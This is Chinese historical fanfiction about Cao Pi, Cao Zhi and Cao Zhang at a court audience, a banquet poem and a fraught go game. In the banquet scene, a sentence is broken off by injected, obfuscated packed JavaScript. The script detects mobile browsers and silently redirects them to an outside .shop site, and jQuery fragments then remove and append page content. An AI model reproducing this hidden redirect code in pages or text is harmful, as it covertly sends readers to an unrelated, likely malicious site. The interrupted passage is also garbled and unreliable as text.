黄初四年，五月会节气。
嘉福殿内十二支连枝桐树伫立，上烛火通明如昼。
宫人们有条不紊地穿梭在殿内，铜盆里的温水腾着热气，浸湿的素帕又被人恭敬地捧至御前。
曹丕立于大殿中央，张开双臂，衮冕龙章一件一件上身，接着是束带，佩玺，大绶，小绶。
等着一身威仪层层叠叠地披挂在身上后，他才静坐在御榻上，听着外间钟鼓声敲响。
他将手放在膝上，垂眸看向这身繁复的华服，不知在想什么。
一名内侍走进殿内，行至曹丕身边躬身一礼：“陛下，诸王与公卿已在承明门内排班。”
曹丕抬眸看向窗边，在众人惊异的眼神中起身，独自走了过去。
推开窗的那一刻，夜风还未散去，承明门的轮廓在晨光中逐渐明晰。
诸王公卿肃立于承明门内，亲王服制朱红如霞，皆白璧在手，垂眸而立。
他只找一个人，那人站在诸侯队列之中，手捧白璧，姿态端然，广袖垂落于身侧，更添一丝俊逸。
晨风拂过，他小小的打了个喷嚏，险些将手中的白璧掉到地上，吓得连忙抱紧。
曹丕不由得轻笑出声，就这样站在窗边看了许久。
直到内侍在身后轻声催促：“陛下，时辰快到了，该戴冕旒了。”
他才最后看了一眼，关上窗，回身望向内侍手中跪举的托盘。
“知道了。”
他重新坐回御座，微微垂首，内侍小心地将那顶十二旒的冕旒戴在他头上，那些玉珠垂在眼前遮挡了他大部分的容颜。
天子威仪，不可直视。
这是祖制，是礼法，是君臣之间不可逾越的鸿沟，也是他克己复礼的枷锁。
于是他戴上冕旒后，再也没有看向过窗外。
殿外曹植正在与曹彰低声说话，忽然在一瞬间像是感受到一股灼热的视线，他猛地看向建始殿西房那扇半开的窗。
“……子建？怎么了？”
曹彰顺着他的目光看去，目之所及只有空荡荡的窗，什么也没有。
他躲过监国谒者的视线，又凑近些低声提醒道：“子建？”
但曹植恍若未闻，只盯着那扇窗盯了很久，久到曹彰都以为他是不是被什么魇住时，他回头微微一笑。
“没有，二兄。”他声音很轻，但嘴角笑意不减，“估计是我看错了。”
曹植目视前方，将手中白璧捧正：“时间差不多了，该准备朝见了。”
曹彰还想说什么，但监国谒者已经投来警示的目光，他只得收回视线，准备朝见。
钟鼓再响，殿门大开，朝见开始。
诸侯王依序列队入殿，曹植随着人流向前，随着内侍的一声：“拜——”
他跪伏于地，向高台之上的君王行礼叩首。
“兴——”
曹植缓缓起身，身后亦传来诸王衣袍窸窣的摩擦声。
天家威仪，不可直视。
他按照礼制规矩低着头，但心里却想着那扇半开的窗。
当时那一刻他能明显感受到有一股灼热的视线落在他身上，可当他回头时，那扇窗前却什么也没有。
是他多想了吗？
轮到诸侯王奉璧御前，他捧着玉璧，拾阶而上。
他离那座高台越来越近，他应该低头的，毕竟礼法如此，规矩如此。
天家威仪，不可直视。冒犯天颜是大不敬，这件事他比谁都清楚。
可他还是固执地抬起了头，不出所料，十二旒白玉珠遮蔽住兄长的眉眼，更看不清兄长的神情。
“鄄城王。”内侍出声提醒。
曹植恍然回神，将自己手中的白璧置于御案上，重新退回诸侯王的队列。
他也没有再回头。
会节气的朝贺冗长而复杂，诸侯奉璧之后，是三公大臣依次上殿拜贺称颂。
那些颂词流水般地从朝臣口中说出，大同小异，年年如此。
曹植站在曹彰身侧，看似端正守礼，实则却什么都没听进去。
他脑中不停回想着那道视线，不自觉地将之与奉璧时那双被冕旒遮挡住的眼睛重合。
“呵。”想着想着竟然轻笑出声。
曹子建，你何时也会自欺欺人了。
“子建。”
曹彰的声音从身侧传来，监国谒者正在殿那头巡视，现在正是暂时的视线死角。
曹植微微侧首，声音有些闷：“何事？二兄。”
“怎么感觉你不开心？”曹彰看着明显心情低落的弟弟，纳闷道：“你不是最想回洛阳吗？”
曹植垂下眼：“……无事。”说到一半又补了句：“就是今日起太早了。”
这借口拙劣得他自己都不信，但身侧的曹彰却笑了一声：“哈哈哈，你还是和从前一样，一没睡够就不爱说话。”
他想像少时那样揉一揉曹植的脑袋，但手刚抬到半空突然停住。监国谒者还在附近。
那只手顿了顿，最终还是垂于身侧捏紧了袖口。
他叹了口气，但忽然又像是想开了一般，竟直接侧过头不再躲避任何视线，直直看着曹植。
“子建，二兄送你一件礼物。”
就在这时，殿内忽起一阵强风，那风来得突然，将无数纱幔吹得猎猎作响，朝臣们衣冠被吹得翻飞，殿内顿时一阵小小的骚乱。
曹彰却纹丝不动，他站在那里，迎着风看向曹植，那张被边塞风沙磨砺过的脸上带着坦然的笑。
“你这些年写的诗，二兄都明白。”他只笑着看着曹植，“二兄会助你得偿所愿。”
风更大了，亲王服宽大的衣袖被吹得纷飞，曹植不得不用袖子抵挡迎面而来的风，向曹彰问道：“风太大了，二兄你说什么？”
“诸位王请勿私语！”
监国谒者已经注意到这边的骚动，高声喝止。
曹彰只看了一眼就收回目光，他对曹植笑得更开怀了一些，不再压低声音，朗声笑道：
“没什么，二兄说送你一份大礼！”
“任城王！请勿私语！”监国谒者这次是指名道姓地喝止。
曹彰“哼”了一声，收敛笑意，重新站定，但脸上仍带着三分桀骜。
风渐渐平息了，殿内人忙着整理衣冠，没人注意到曹植。
他有些疑惑，脑子回想着曹彰的话，大礼？什么大礼？
正思索间，袖中的那枚玉珏不知怎的掉了出去，他猛地伸手去捞。
就在刚握住那枚玉珏之时，他忽然鬼使神差地望向御座方向。
这次他看见了。
那阵强风将殿内许多人的衣冠都吹得纷乱，御座之上也不能幸免。
一名内侍正在为曹丕整理冕旒，微微侧身，冕旒上的玉珠串便被人轻轻拨开。
曹丕在望着台下的诸臣。
他在笑。
他的嘴角弯起，眉目舒展，笑意如晴光映雪，这是一位帝王看到江山海清河晏，天下太平的笑。
那一抹笑意很快就被冕旒重新掩盖，但是曹植看见了。
手中玉玦落地，清越的脆响淹没在满殿的纷乱中。
曹植维持着弯腰的姿势，呆呆看着高台上临轩而笑的兄长。
他目之所及的一切都在后退，朝臣的衣冠，诸侯的白璧，殿内的金柱，殿外的高远青天……
他的耳中听不见任何声音，周遭一切的一切都在倒退，眼中唯有御座之上那抹一瞬即逝的笑愈发深刻。
曹植不禁傻傻地笑出了声，这是四年来，他第一次见兄长笑。
他忽然想起三天前，他伏在兄长肩头哭着问：“若是我真死了，你会为我伤心吗？”
那时兄长没有回答。
但此时此刻，他好像懂了，他的沉默原来并不是无情。
“鄄城王！”监国谒者的声音陡然拔高。
曹彰见状迅速上前替他捡起了那枚玉玦，用衣袖遮住监国谒者的视线，将玉玦塞到了曹植的手心，用力握了一下他的手，小声提醒：“子建。”
曹植如梦初醒，接过玉玦，声音有些飘忽：“……多谢二兄。”
“无事。”曹彰看了他一眼，并未多言，退回原位。
监国谒者已到近前，目光凌厉地扫过两人，作恭声提醒道：“诸位王请勿越位、私语、失仪！”
曹植垂下眼，将手中玉玦紧紧攥着，并未理会监国谒者，倒是曹彰等他走了后小声骂了句：“走狗！”
朝贺之后，例行为赐宴。
殿内设有法酒，殿上登歌，四厢乐作，觥筹交错。
曹丕端坐在御座，群臣依次进觞，称颂圣德，他一一颔首回应。
宴至酣处，有大臣起身，恭声道：“陛下，今日会节气，朝贺已毕，天朗气清，可否请鄄城王即席赋诗，以记此盛典？”
此言一出，殿内静了一瞬，接着就是无数道目光投向曹植。
曹丕没有立刻回答，他的视线透过冕旒落在曹植身上。
“子建。”他只唤了字，也没有说作还是不作。
但曹植直接起身离席，走到大殿中央，向御座之上一礼，然后从内侍中接过笔墨，从容落笔颂道：
大魏应灵符，天禄方甫始。
圣德致泰和，神明为驱使①。
……
满殿都是赞叹声，群臣交头接耳，纷纷赞他“笔力不减当年”“真乃天人之才”。
但曹植却听不见这些，他的心思也不在这些华美的辞藻上，这些不过是张口就来的俗物。
就在即将完成时，他不由自主地想到了那扇窗，想到了兄长那一抹临轩而立的笑意，笔尖顿在半空。
周围正等着他下一句的大臣们面露疑惑，只见曹植在众人眼前抬首望向御座之上的人。
他们隔得很近，明明几步就能到对方面前。但又好像隔得很远，被珠帘，被冕旒，被许多看不见的东西所阻隔。
随后他落笔，写下了与整首诗词风截然不同的句子：
“陛下临轩笑，左右咸欢康。”
随着他这句话一出，整座大殿落针可闻。
这是僭越。
朝会赋诗，本当颂扬圣德，记述盛典，鄄城王以臣子之眼描摹天子仪态，已是冒犯。
如今更是直书“陛下临轩笑”，更是将天子私密的神情袒露在众臣面前。
这是窥视天颜，这是大不敬！
曹植将剩下的几句写完，任由内侍将缣帛呈至御前。
曹丕接过，看着那行与全诗格格不入的句子良久。
殿内群臣皆屏息敛气，不敢吱声，而曹植却坦荡地直视御座之上的曹丕，他在等一个回应。
终于，曹丕抬起头，声音没有过多的起伏：“子建此诗，甚好。”
他没有说僭越，也没有问为何，更没有以任何方式追究这直白的冒犯，他只是默默将缣帛收在案上，说了声“甚好”。
这既然是陛下默许的，殿内诸臣也松了口气，重新恢复宴饮的欢愉。
大宴之后，是曹丕专为藩王设置的家宴。
建始殿内烛火通明，诸王依次向御座敬酒，曹丕面带得体的笑容一一饮尽。
曹植坐在曹彰身侧
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17317243|198975||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
，手边是一盏未尽的酒，沉默地看着御座之上那人一杯又一杯地将酒饮尽。
“子文。”
不知过了多久，曹丕放下酒盏，目光越过满殿藩王落在曹彰身上：“朕与你许久未见，不若至偏殿手谈一局？”
这对话来得突兀，殿内所有亲王都各怀心思地望着曹彰。
陛下与任城王，虽是一母同胞，但平日并无深交，亦无旧怨，为何忽然在此时召其独对？
曹彰没有动，他只放下手中酒盏，坐在席间直直迎上御座之后那双深不见底的眼睛。
良久，他起身向曹丕行了一礼：“臣，遵旨。”
偏殿的大门被内侍合上，殿内陈设简单，只有中央的一张朱红桌案，两席分列。
曹丕走向一侧，自顾自落座。
曹彰立在门前，先环顾四周，侧殿内空空荡荡，除了灯盏和中央的红案外，再无其他，也没有任何能藏人的地方。
他大步走到曹丕对面坐下，打量着桌案，案上也只有一副棋盘，两篓棋子，以及一碟新贡的青枣。
“朕与黄须儿。”曹丕执起一枚黑子，落在棋盘上，声音平淡，“也是许久未见了。”
落子后，他随手拈起一颗青枣送入口中。
曹彰坐在席上，亦伸手取了一颗白子，却没有立刻落子。
四年……
四年前，父亲薨于洛阳，他自长安领兵奔赴，在邺城城门外与贾诩对峙。
他手里握着兵符，身后是数万边关铁骑，彼时只要他一声令下，那么今日坐在御座之上受百官朝见之人是谁还未可知。
但他最终没有下令，因为子建说：大兄已立，父亲遗诏如此。
因为子建说：二兄，算了，昔日袁氏兄弟因内讧覆亡，我不愿兄弟相残，动摇国本。
因为子建不愿，所以他算了。
这四年来，他蛰伏封地，暗遣心腹，联络北边旧部，招揽塞外游骑。
他所走的每一步都小心翼翼，每一步都如履薄冰，只为时机一至，便可拥立曹植为帝。
他落下一子，笑道：“兄长这是什么话，我们不过四年未见罢了。”
“四年啊……”曹丕执起又一枚黑子悬于空中，另一只手又拈起一颗青枣送入口中。
原来在旁人眼里，四年并不长啊……
那为什么某个爱哭鬼，两年未见，就急得又是劫胁使者，又是假死投书，又是赤足诣阙，只为见自己一面。
思及此处，曹丕嘴角轻扬，然后将那枚黑子落在棋盘上。
“黄须儿昔日北定代郡，威震塞外，”他抬眸直视曹彰，神色淡漠，“朝中诸将，无不服我任城王骁壮。”
他将一切都挑明了说，他可以给曹彰一条生路，曹彰若是此刻收手，那一切尚可挽回。
他是帝王，也是兄长。一母同胞，他也不想把事情做绝。
但曹彰听到这句话的瞬间就目光一沉。
“兄长这是什么意思？”
曹丕没有立刻回答，只看着棋盘，又从碟中拈起一颗青枣送入口中，叹了口气：“你明白的。”
曹彰猛然起身，因为动作太急，带动桌案，棋盘上的棋子一阵晃动，被曹丕稳住。
他俯视着对面稳坐如山的兄长，深吸一口气，愤愤道：“若非子建不与你争，你以为如今皇位上坐的还是你吗？”
他盯着曹丕，胸口剧烈起伏：“父亲属意的是他！从始至终都是他！”
殿内烛火幽幽，映照在两人身上，投下两个截然不同的黑影。
曹丕甚至都没有看他，低头看着棋盘，然后从曹彰的棋篓里取出一枚白子，落在棋盘上。
“自然会是朕。”
他又执起己方的一枚黑子，思索再三后落在白字旁，“子文，你太天真了。”
到这时他才抬眼看向自己这个骁勇善战的弟弟，目光平静幽深：“世子之争，素来如此。”
“父亲把一切都安排好了。你以为司马门事件是子建失势的开始，你以为那是他的败笔？”他轻笑一声，摇了摇头，又从曹彰的棋篓里拿出一枚白子落在棋盘。
“其实那是父亲对他的慈悲。”
曹彰站在原地，眼中满是不可置信：“……你说什么？”
曹丕只自顾自地对弈，中途再次拈起一颗青枣送入口中：“你和子建都已封侯时，我却是五官中郎将。你可曾想过，这是为何？”
他抬眸，看向曹彰，贴心地帮他解释道：“五官中郎将，位同副丞，这可是实权职位。”
“你还不明白吗？父亲在养蛊，他需要为他的继承人找一块磨刀石。至于这块磨刀石是谁，我想也不必我多说。”
曹彰站在原地说不出话，但握拳的手还是昭示了他内心的不平。
曹丕继续从曹彰的棋篓里取出一枚白子，“他做世子，诸臣服他，是因他才华盖世。我做世子，诸臣服我，是因我已在那场漫长的磨砺中，学会了如何让一切阻碍都变得顺理成章。”
听到此处，曹彰的手再也忍不住，狠狠锤向身旁精美的画壁，他想反驳，却不知道从何驳起，只能伸出手指向曹丕，声音沙哑：“你……”
曹丕没有看指向自己的那只手，淡淡道：“子文，坐下，太失礼了。”
曹彰怔怔地站在原地，闭上眼不知在想什么，良久，他缓缓坐下，看着棋盘上已经被重重包围的白子一言不发。
“我是最像父亲的人，所以我很明白他心里在想什么。”曹丕说着，勾唇一笑，将手边还剩半盘的青枣推到曹彰身前。
“此枣新贡，味甚甘美。弟可尝之。②”